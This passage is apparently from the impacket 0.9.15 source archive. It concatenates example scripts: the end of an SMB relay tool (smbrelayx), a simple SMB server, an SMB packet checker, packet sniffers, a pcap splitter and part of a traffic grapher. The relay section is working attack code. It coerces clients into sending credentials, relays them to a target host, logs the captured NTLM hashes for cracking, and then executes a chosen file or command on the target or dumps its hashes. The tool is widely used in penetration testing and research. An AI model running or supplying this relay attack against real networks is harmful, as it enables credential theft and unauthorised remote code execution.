messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = SMBSessionSetupAndXResponse_Parameters() respData = SMBSessionSetupAndXResponse_Data() sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(smbCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = NewSMBPacket() packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Target will be attacked, adding to the attacked set # If the attack fails, the doAttack thread will be responsible of removing it from the set ATTACKED_HOSTS.add(self.target) clientThread = doAttack(smbClient, self.exeFile, self.command) clientThread.start() # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = self.returnStatus logging.info("Sending status code %s after authentication to %s" % ( ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def _start(self): self.server.serve_forever() def run(self): logging.info("Setting up SMB Server") self._start() def setTargets(self, targets): self.target = targets def setExeFile(self, filename): self.exeFile = filename def setCommand(self, command): self.command = command def setReturnStatus(self, returnStatus): # Specifies return status after successful relayed authentication to return # to the connecting client. This comes useful when we don't want the connecting # client to store successful credentials in his memory. Valid statuses: # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, # which will make him store them accordingly. # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, # and got configured Remote UAC, thus preventing connection to ADMIN$ # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials # are invalid. self.returnStatus = { 'success' : STATUS_SUCCESS, 'denied' : STATUS_ACCESS_DENIED, 'logon_failure' : STATUS_LOGON_FAILURE }[returnStatus.lower()] def setMode(self,mode, one_shot): self.mode = mode self.one_shot = one_shot def setDomainAccount( self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp # Process command-line arguments. if __name__ == '__main__': RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help=False, description="For every connection received, this module will try to SMB relay that " " connection to the target system or the original client") parser.add_argument("--help", action="help", help='show this help message and exit') parser.add_argument('-h', action='store', metavar='HOST', help='Host to relay the credentials to, if not it will relay it back to the client') parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', help='Status to return after client performed authentication. Default: "success".') parser.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. If not specified, hashes will be dumped ' '(secretsdump.py must be in the same directory)') parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on target system. If not specified, hashes will be dumped ' '(secretsdump.py must be in the same directory)') parser.add_argument('-one-shot', action='store_true', default=False, help='After successful authentication, only execute the attack once for each target') parser.add_argument('-outputfile', action='store', help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when interacting with the domain to grab a session key for ' 'signing, format is domain/machine_name') parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') try: options = parser.parse_args() except Exception, e: logging.error(str(e)) sys.exit(1) if options.h is not None: logging.info("Running in relay mode") mode = 'RELAY' targetSystem = options.h else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' exeFile = options.e Command = options.c returnStatus = options.s for server in RELAY_SERVERS: s = server(options.outputfile) s.setTargets(targetSystem) s.setExeFile(exeFile) s.setCommand(Command) s.setReturnStatus(returnStatus) s.setMode(mode, options.one_shot) if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: logging.error("You must specify machine-account/hashes/domain all together!") sys.exit(1) s.start() print "" logging.info("Servers started, waiting for connections") while True: try: sys.stdin.read() except KeyboardInterrupt: sys.exit(1) else: pass impacket-0.9.15/examples/smbserver.py0000700000076500000000000000444712734531507017663 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Simple SMB Server example. # # Author: # Alberto Solino (@agsolino) # import sys import argparse import logging from impacket.examples import logger from impacket import smbserver, version if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a share specified as an argument. You need to be root in order to bind to port 445. No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP /tmp") parser.add_argument('shareName', action='store', help='name of the share to add') parser.add_argument('sharePath', action='store', help='path of the share to add') parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: parser.print_help() sys.exit(1) try: options = parser.parse_args() except Exception, e: logging.critical(str(e)) sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) if options.comment is None: comment = '' else: comment = options.comment server = smbserver.SimpleSMBServer() server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) # Here you can set a custom SMB challenge in hex format # If empty defaults to '4141414141414141' # (remember: must be 16 hex bytes long) # e.g. server.setSMBChallenge('12345678abcdef00') server.setSMBChallenge('') # If you don't want log to stdout, comment the following line # If you want log dumped to a file, enter the filename server.setLogFile('') # Rock and roll server.start() impacket-0.9.15/examples/smbtorture.py0000700000076500000000000004272112734531507020056 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Parses a pcap file or sniffes traffic from the net and checks the SMB structs for errors. # Log the error packets in outFile # # Author: # Alberto Solino # # ToDo: # [ ] Add more SMB Commands # [ ] Do the same for DCERPC import struct from select import select import socket import argparse from impacket import pcapfile, smb, nmb, ntlm, version from impacket import ImpactPacket, ImpactDecoder, structure # Command handler def smbTransaction2( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_TRANSACTION2 ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters']) # Do the stuff if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']: # TODO: Handle partial parameters #print "Unsupported partial parameters in TRANSACT2!" raise Exception("Unsupported partial parameters in TRANSACT2!") else: trans2Data = smb.SMBTransaction2_Data() # Standard says servers shouldn't trust Parameters and Data comes # in order, so we have to parse the offsets, ugly paramCount = trans2Parameters['ParameterCount'] trans2Data['Trans_ParametersLength'] = paramCount dataCount = trans2Parameters['DataCount'] trans2Data['Trans_DataLength'] = dataCount if trans2Parameters['ParameterOffset'] > 0: paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength'] trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount] else: trans2Data['Trans_Parameters'] = '' if trans2Parameters['DataOffset'] > 0: dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength'] trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount] else: # Response # ToDo not implemented yet a = 1 except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComOpenAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return True print "SMB_COM_OPEN_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters']) openAndXData = smb.SMBOpenAndX_Data(SMBCommand['Data']) else: # Response openFileResponse = SMBCommand openFileParameters = smb.SMBOpenAndXResponse_Parameters(openFileResponse['Parameters']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComWriteAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_WRITE_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 0x0C: writeAndX = smb.SMBWriteAndX_Parameters2(SMBCommand['Parameters']) else: writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters']) writeAndXData = smb.SMBWriteAndX_Data() writeAndXData['DataLength'] = writeAndX['DataLength'] if writeAndX['DataLength'] > 0: writeAndXData.fromString(SMBCommand['Data']) else: # Response writeResponse = SMBCommand writeResponseParameters = smb.SMBWriteAndXResponse_Parameters(writeResponse['Parameters']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComNtCreateAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_NT_CREATE_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data(SMBCommand['Data']) else: # Response ntCreateResponse = SMBCommand ntCreateParameters = smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComTreeConnectAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_TREE_CONNECT_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) treeConnectAndXData = smb.SMBTreeConnectAndX_Data() treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) else: # Response treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters(SMBCommand['Parameters']) #treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComSessionSetupAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack(' 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data(flags = packet['Flags2'], data = sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComNegotiate( packet, packetNum, command, questions, replies): sessionResponse = command if packet['Flags1'] & smb.SMB.FLAGS1_REPLY: print "SMB_COM_NEGOTIATE ", try: _dialects_parameters = smb.SMBNTLMDialect_Parameters(sessionResponse['Parameters']) _dialects_data = smb.SMBNTLMDialect_Data() _dialects_data['ChallengeLength'] = _dialects_parameters['ChallengeLength'] _dialects_data.fromString(sessionResponse['Data']) if _dialects_parameters['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: _dialects_parameters = smb.SMBExtended_Security_Parameters(sessionResponse['Parameters']) _dialects_data = smb.SMBExtended_Security_Data(sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False # Format # { SMBCOMMAND: ((questionStruts),(replyStructus), handler) } HANDLER = 2 REPLIES = 1 QUESTIONS = 0 smbCommands = { # smb.SMB.SMB_COM_CREATE_DIRECTORY: (, # smb.SMB.SMB_COM_DELETE_DIRECTORY: self.smbComDeleteDirectory, # smb.SMB.SMB_COM_RENAME: self.smbComRename, # smb.SMB.SMB_COM_DELETE: self.smbComDelete, smb.SMB.SMB_COM_NEGOTIATE: ( None,None,smbComNegotiate), smb.SMB.SMB_COM_SESSION_SETUP_ANDX: ( None,None,smbComSessionSetupAndX), # smb.SMB.SMB_COM_LOGOFF_ANDX: self.smbComLogOffAndX, smb.SMB.SMB_COM_TREE_CONNECT_ANDX: ( None,None,smbComTreeConnectAndX), # smb.SMB.SMB_COM_TREE_DISCONNECT: self.smbComTreeDisconnect, # smb.SMB.SMB_COM_ECHO: self.get_th_sportsmbComEcho, # smb.SMB.SMB_COM_QUERY_INFORMATION: self.smbQueryInformation, smb.SMB.SMB_COM_TRANSACTION2: ( None, None, smbTransaction2), # smb.SMB.SMB_COM_TRANSACTION: self.smbTransaction, # smb.SMB.SMB_COM_NT_TRANSACT: self.smbNTTransact, # smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: sler.smbQueryInformationDisk, smb.SMB.SMB_COM_OPEN_ANDX: (None, None, smbComOpenAndX), # smb.SMB.SMB_COM_QUERY_INFORMATION2: self.smbComQueryInformation2, # smb.SMB.SMB_COM_READ_ANDX: self.smbComReadAndX, # smb.SMB.SMB_COM_READ: self.smbComRead, smb.SMB.SMB_COM_WRITE_ANDX: (None, None, smbComWriteAndX), # smb.SMB.SMB_COM_WRITE: self.smbComWrite, # smb.SMB.SMB_COM_CLOSE: self.smbComClose, # smb.SMB.SMB_COM_LOCKING_ANDX: self.smbComLockingAndX, smb.SMB.SMB_COM_NT_CREATE_ANDX: (None, None, smbComNtCreateAndX), # 0xFF: self.default } # Returns True is the packet needs to be logged def process(data, packetNum): packet = smb.NewSMBPacket() if data.get_packet()[0] == '\x00': if data.get_packet()[4:8] == '\xffSMB': try: packet.fromString(data.get_packet()[4:]) except Exception, e: print "ERROR: %s" % e print "Command: SMBPacket" print "Packet: %d %r" % (packetNum, data.get_packet()) return True else: return False else: return False try: SMBCommand = smb.SMBCommand(packet['Data'][0]) except Exception, e: print "ERROR: %s" % e print "Command: SMBCommand" print "Packet: %d %r" % (packetNum, data.get_packet()) return True if smbCommands.has_key(packet['Command']): return smbCommands[packet['Command']][HANDLER](packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES]) #else: # print "Command 0x%x not handled" % packet['Command'] def main(): import sys DEFAULT_PROTOCOLS = ('tcp',) sockets = [] print version.BANNER parser = argparse.ArgumentParser() parser.add_argument("-i", metavar = 'FILE', help = 'pcap file to read packets. If not specified the program sniffes traffic (only as root)') parser.add_argument("-o", metavar = 'FILE', help = 'pcap output file where the packets with errors will be written') options = parser.parse_args() outFile = options.o if options.i is None: sniffTraffic = True toListen = DEFAULT_PROTOCOLS else: sniffTraffic = False inFile = options.i packetNum = 0 if outFile: f_out = open(outFile,'wb') f_out.write(str(pcapfile.PCapFileHeader())) if sniffTraffic is False: f_in = open(inFile,'rb') hdr = pcapfile.PCapFileHeader() hdr.fromString(f_in.read(len(hdr))) decoder = ImpactDecoder.EthDecoder() else: for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print "Ignoring unknown protocol:", protocol toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) print "Listening on protocols:", toListen decoder = ImpactDecoder.IPDecoder() while 1: if sniffTraffic is False: pkt = pcapfile.PCapFilePacket() try: pkt.fromString(f_in.read(len(pkt))) except: break pkt['data'] = f_in.read(pkt['savedLength']) p = pkt['data'] else: ready = select(sockets, [], [])[0] for s in ready: p = s.recvfrom(4096)[0] if 0 == len(p): # Socket remotely closed. Discard it. sockets.remove(s) s.close() packet = decoder.decode(p) packetNum += 1 if sniffTraffic is True: instance = packet.child() else: instance = packet.child().child() if isinstance(instance, ImpactPacket.TCP): tcppacket = instance if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport() == 445 or tcppacket.get_th_sport() == 139 or tcppacket.get_th_dport() == 139: data = tcppacket.child() if data.get_size() > 0: logPacket = process(data, packetNum) if logPacket is True: pkt_out = pcapfile.PCapFilePacket() if sniffTraffic is True: eth = ImpactPacket.Ethernet() eth.contains(packet) eth.set_ether_type(0x800) pkt_out['data'] = eth.get_packet() else: pkt_out['data'] = str(p) if outFile: f_out.write(str(pkt_out)) if __name__ == '__main__': main() impacket-0.9.15/examples/sniff.py0000700000076500000000000000613212734531507016751 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Simple packet sniffer. # # This packet sniffer uses the pcap library to listen for packets in # transit over the specified interface. The returned packages can be # filtered according to a BPF filter (see tcpdump(3) for further # information on BPF filters). # # Note that the user might need special permissions to be able to use pcap. # # Authors: # Maximiliano Caceres # Javier Kohen # # Reference for: # pcapy: findalldevs, open_live. # ImpactDecoder. import sys from threading import Thread import pcapy from pcapy import findalldevs, open_live from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class DecoderThread(Thread): def __init__(self, pcapObj): # Query the type of the link and instantiate a decoder accordingly. datalink = pcapObj.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.pcap = pcapObj Thread.__init__(self) def run(self): # Sniff ad infinitum. # PacketHandler shall be invoked by pcap for every packet. self.pcap.loop(0, self.packetHandler) def packetHandler(self, hdr, data): # Use the ImpactDecoder to turn the rawpacket into a hierarchy # of ImpactPacket instances. # Display the packet in human-readable form. print self.decoder.decode(data) def getInterface(): # Grab a list of interfaces that pcap is able to listen on. # The current user will be able to listen from all returned interfaces, # using open_live to open them. ifs = findalldevs() # No interfaces available, abort. if 0 == len(ifs): print "You don't have enough permissions to open any interface on this system." sys.exit(1) # Only one interface available, use it. elif 1 == len(ifs): print 'Only one interface present, defaulting to it.' return ifs[0] # Ask the user to choose an interface from the list. count = 0 for iface in ifs: print '%i - %s' % (count, iface) count += 1 idx = int(raw_input('Please select an interface: ')) return ifs[idx] def main(filter): dev = getInterface() # Open interface for catpuring. p = open_live(dev, 1500, 0, 100) # Set the BPF filter. See tcpdump(3). p.setfilter(filter) print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()) # Start sniffing thread and finish main thread. DecoderThread(p).start() # Process command-line arguments. Take everything as a BPF filter to pass # onto pcap. Default to the empty filter (match all). filter = '' if len(sys.argv) > 1: filter = ' '.join(sys.argv[1:]) main(filter) impacket-0.9.15/examples/sniffer.py0000700000076500000000000000403312734531507017276 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Simple packet sniffer. # # This packet sniffer uses a raw socket to listen for packets # in transit corresponding to the specified protocols. # # Note that the user might need special permissions to be able to use # raw sockets. # # Authors: # Gerardo Richarte # Javier Kohen # # Reference for: # ImpactDecoder. from select import select import socket import sys from impacket import ImpactDecoder DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') if len(sys.argv) == 1: toListen = DEFAULT_PROTOCOLS print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0] else: toListen = sys.argv[1:] # Open one socket for each specified protocol. # A special option is set on the socket so that IP headers are included with # the returned data. sockets = [] for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print "Ignoring unknown protocol:", protocol toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) if 0 == len(toListen): print "There are no protocols available." sys.exit(0) print "Listening on protocols:", toListen # Instantiate an IP packets decoder. # As all the packets include their IP header, that decoder only is enough. decoder = ImpactDecoder.IPDecoder() while len(sockets) > 0: # Wait for an incoming packet on any socket. ready = select(sockets, [], [])[0] for s in ready: packet = s.recvfrom(4096)[0] if 0 == len(packet): # Socket remotely closed. Discard it. sockets.remove(s) s.close() else: # Packet received. Decode and display it. packet = decoder.decode(packet) print packet impacket-0.9.15/examples/split.py0000700000076500000000000001045012734531507016775 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Pcap dump splitter. # # This tools splits pcap capture files into smaller ones, one for each # different TCP/IP connection found in the original. # # Authors: # Alejandro D. Weil # Javier Kohen # # Reference for: # pcapy: open_offline, pcapdumper. # ImpactDecoder. import sys from exceptions import Exception import pcapy from pcapy import open_offline from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class Connection: """This class can be used as a key in a dictionary to select a connection given a pair of peers. Two connections are considered the same if both peers are equal, despite the order in which they were passed to the class constructor. """ def __init__(self, p1, p2): """This constructor takes two tuples, one for each peer. The first element in each tuple is the IP address as a string, and the second is the port as an integer. """ self.p1 = p1 self.p2 = p2 def getFilename(self): """Utility function that returns a filename composed by the IP addresses and ports of both peers. """ return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) def __cmp__(self, other): if ((self.p1 == other.p1 and self.p2 == other.p2) or (self.p1 == other.p2 and self.p2 == other.p1)): return 0 else: return -1 def __hash__(self): return (hash(self.p1[0]) ^ hash(self.p1[1]) ^ hash(self.p2[0]) ^ hash(self.p2[1])) class Decoder: def __init__(self, pcapObj): # Query the type of the link and instantiate a decoder accordingly. datalink = pcapObj.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.pcap = pcapObj self.connections = {} def start(self): # Sniff ad infinitum. # PacketHandler shall be invoked by pcap for every packet. self.pcap.loop(0, self.packetHandler) def packetHandler(self, hdr, data): """Handles an incoming pcap packet. This method only knows how to recognize TCP/IP connections. Be sure that only TCP packets are passed onto this handler (or fix the code to ignore the others). Setting r"ip proto \tcp" as part of the pcap filter expression suffices, and there shouldn't be any problem combining that with other expressions. """ # Use the ImpactDecoder to turn the rawpacket into a hierarchy # of ImpactPacket instances. p = self.decoder.decode(data) ip = p.child() tcp = ip.child() # Build a distinctive key for this pair of peers. src = (ip.get_ip_src(), tcp.get_th_sport() ) dst = (ip.get_ip_dst(), tcp.get_th_dport() ) con = Connection(src,dst) # If there isn't an entry associated yetwith this connection, # open a new pcapdumper and create an association. if not self.connections.has_key(con): fn = con.getFilename() print "Found a new connection, storing into:", fn try: dumper = self.pcap.dump_open(fn) except pcapy.PcapError, e: print "Can't write packet to:", fn return self.connections[con] = dumper # Write the packet to the corresponding file. self.connections[con].dump(hdr, data) def main(filename): # Open file p = open_offline(filename) # At the moment the callback only accepts TCP/IP packets. p.setfilter(r'ip proto \tcp') print "Reading from %s: linktype=%d" % (filename, p.datalink()) # Start decoding process. Decoder(p).start() # Process command-line arguments. if __name__ == '__main__': if len(sys.argv) <= 1: print "Usage: %s " % sys.argv[0] sys.exit(1) main(sys.argv[1]) impacket-0.9.15/examples/tracer.py0000700000076500000000000003074612734531507017134 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Parallel Coordinates traffic grapher. # # This grapher uses the pcap library to listen for packets in transit # over the specified interface. The returned packages can be filtered # according to a BPF filter (see tcpdump(3) for further information on # BPF filters). The packets are displayed on a parallel coordinates # graph that allows the user to visualize the traffic flow on the # network in real-time. # # The graphing part requires Tk support. Note that the user might need # special permissions to be able to use pcap. # # Authors: # Gerardo Richarte # Javier Kohen # # Reference for: # pcapy: findalldevs, open_live. # ImpactPacket. # ImpactDecoder. ## Some tunable variables follow. # Period (in ms.) to wait between pcap polls. POLL_PERIOD = 250 # Period (in ms.) to wait between screen refreshes. REFRESH_PERIOD = 1000 # Refresh screen after receiving new packets. # You might want to turn off fast_draws if it consumes too much CPU, # for instance, when used under X-Window over a network link. fast_draws = 1 ## End of user configurable section. import socket import sys import time import Tkinter import pcapy from pcapy import open_live, findalldevs, PcapError from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class NumericAxis: def __init__(self,canvas,name,low=0,high=0,direction='vertical'): self.canvas = canvas self.name = name self.setLowerLimit(low) self.setHigherLimit(high) self.direction = direction def screenLength(self): if self.direction == 'vertical': return (self.canvas.winfo_height())-10 else: return (self.canvas.winfo_width())-10 def scaleLength(self): delta = self.getHigherLimit()-self.getLowerLimit() if not delta: delta += 1 return delta def unscale(self,coord): return int((coord-5)*self.scaleLength()/self.screenLength()+self.getLowerLimit()) def scale(self,value): return (value-self.getLowerLimit())*self.screenLength()/self.scaleLength()+5 def setLowerLimit(self,limit): if not limit == None: self._lowerLimit = limit def setHigherLimit(self,limit): if not limit == None: self._higherLimit = limit def getLowerLimit(self): return self._lowerLimit def getHigherLimit(self): return self._higherLimit def addValue(self,value): if self.getLowerLimit() > value: self.setLowerLimit(value) if self.getHigherLimit() < value: self.setHigherLimit(value) class SymbolicAxis(NumericAxis): def __init__(self,canvas,name,values=[],direction = 'vertical'): NumericAxis.__init__(self,canvas,name,0,len(values)-1,direction) self.values = list(values) def addValue(self,value,sort = 1): try: self.values.index(value) return except: None self.values.append(value) if sort: self.values.sort() self.setHigherLimit(len(self.getValues())-1) def unscale(self,value): try: i = NumericAxis.unscale(self, value) if i < 0: return 